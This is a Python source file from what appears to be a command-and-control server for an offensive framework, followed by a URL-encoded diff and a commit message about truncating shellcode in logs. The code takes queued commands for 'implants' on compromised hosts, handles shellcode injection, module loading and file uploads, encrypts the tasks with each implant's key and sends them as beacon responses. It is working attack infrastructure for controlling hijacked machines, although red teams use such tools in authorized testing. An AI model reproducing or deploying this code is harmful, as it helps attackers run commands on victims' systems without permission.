#!/usr/bin/python

from Colours import *
from Core import *
import DB

def newTask(path):
  result = DB.get_implants_all()
  commands = ""
  if result:
    for i in result:
      RandomURI = i[1]
      EncKey = i[5]
      tasks = DB.get_newtasks(RandomURI)
      if RandomURI in path and tasks:
        for a in tasks:
          command = a[2]
          user = a[3]
          user_command = command
          hostinfo = DB.get_hostinfo(RandomURI)
          now = datetime.datetime.now()
          taskId = DB.insert_task(RandomURI, user_command, user)
          taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId)
          print Colours.YELLOW,""
          print "Task %s issued against implant %s on host %s %s (%s)" % (taskIdStr, hostinfo[0],hostinfo[3],hostinfo[11],now.strftime("%m/%d/%Y %H:%M:%S"))
          if (command.lower().startswith("$shellcode64")) or (command.lower().startswith("$shellcode64")) :
            print "Loading Shellcode",Colours.END
          elif (command.lower().startswith("run-exe core.program core inject-shellcode")) :
            print command[0:150]+"......TRUNCATED......"+command[-80:],Colours.END
          elif (command.lower().startswith("$shellcode86")) or (command.lower().startswith("$shellcode86")) :
            print "Loading Shellcode",Colours.END
          elif "upload-file" in command.lower():
            print "Uploading File",Colours.END
          else:
            try:
              print command,Colours.END
            except Exception as e:
              print "Cannot print output: %s" % e

          if a[2].startswith("loadmodule"):
            try:
              module_name = (a[2]).replace("loadmodule ","")
              if ".exe" in module_name:
                modulestr = load_module_sharp(module_name)
              elif ".dll" in module_name:
                modulestr = load_module_sharp(module_name)
              else:
                modulestr = load_module(module_name)
              command = "loadmodule%s" % modulestr
            except Exception as e:
              print "Cannot find module, loadmodule is case sensitive!"
              print e
          if len(str(taskId)) > 5:
            raise ValueError('Task ID is greater than 5 characters which is not supported.')
          command = taskIdStr + command
          if commands:
            commands += "!d-3dion@LD!-d" + command
          else:
            commands += command
          DB.del_newtasks(str(a[0]))
        if commands is not None:
          multicmd = "multicmd%s" % commands
        try:
          responseVal = encrypt(EncKey, multicmd)
        except Exception as e:
          responseVal = ""
          print "Error encrypting value: %s" % e
        now = datetime.datetime.now()
        DB.update_implant_lastseen(now.strftime("%m/%d/%Y %H:%M:%S"),RandomURI)
        return responseVal
      elif RandomURI in path and not tasks:
        # if there is no tasks but its a normal beacon send 200
        now = datetime.datetime.now()
        DB.update_implant_lastseen(now.strftime("%m/%d/%Y %H:%M:%S"),RandomURI)
        return default_response()
  #else:
  #  return None
        

@@ -484,329 +484,8 @@
 w()%0A
-          taskId = DB.insert_task(RandomURI, user_command, user)%0A          taskIdStr = %220%22 * (5 - len(str(taskId))) + str(taskId)%0A          print Colours.YELLOW,%22%22%0A          print %22Task %25s issued against implant %25s on host %25s %25s (%25s)%22 %25 (taskIdStr, hostinfo%5B0%5D,hostinfo%5B3%5D,hostinfo%5B11%5D,now.strftime(%22%25m/%25d/%25Y %25H:%25M:%25S%22))%0A
     
@@ -603,46 +603,75 @@
     
- print %22Loading Shellcode%22,Colours.END
+user_command = command%5B0:150%5D+%22......TRUNCATED......%22+command%5B-80:%5D
 %0A   
@@ -762,38 +762,46 @@
 )) :%0A           
- print
+user_command =
  command%5B0:150%5D+
@@ -837,28 +837,16 @@
 nd%5B-80:%5D
-,Colours.END
 %0A       
@@ -963,43 +963,358 @@
     
- print %22Loading Shellcode%22,
+user_command = command%5B0:150%5D+%22......TRUNCATED......%22+command%5B-80:%5D%0A          taskId = DB.insert_task(RandomURI, user_command, user)%0A          taskIdStr = %220%22 * (5 - len(str(taskId))) + str(taskId)%0A          if len(str(taskId)) %3E 5:%0A            raise ValueError('Task ID is greater than 5 characters which is not supported.')%0A          print 
 Colours.
 END%0A
@@ -1301,35 +1301,38 @@
   print Colours.
-END
+YELLOW
 %0A          elif 
@@ -1322,26 +1322,199 @@
 W%0A          
-el
+print %22Task %25s issued against implant %25s on host %25s%5C%5C%25s @ %25s (%25s)%22 %25 (taskIdStr, hostinfo%5B0%5D,hostinfo%5B11%5D,hostinfo%5B2%5D,hostinfo%5B3%5D,now.strftime(%22%25m/%25d/%25Y %25H:%25M:%25S%22))%0A          
 if %22upload-f
@@ -1638,16 +1638,21 @@
   print 
+user_
 command,
@@ -1748,17 +1748,16 @@
 %25s%22 %25 e%0A
-%0A
         
@@ -2301,16 +2301,16 @@
 itive!%22%0A
+
         
@@ -2327,136 +2327,8 @@
 t e%0A
-          if len(str(taskId)) %3E 5:%0A            raise ValueError('Task ID is greater than 5 characters which is not supported.')%0A
     

Truncate shellcode when logging it to the DB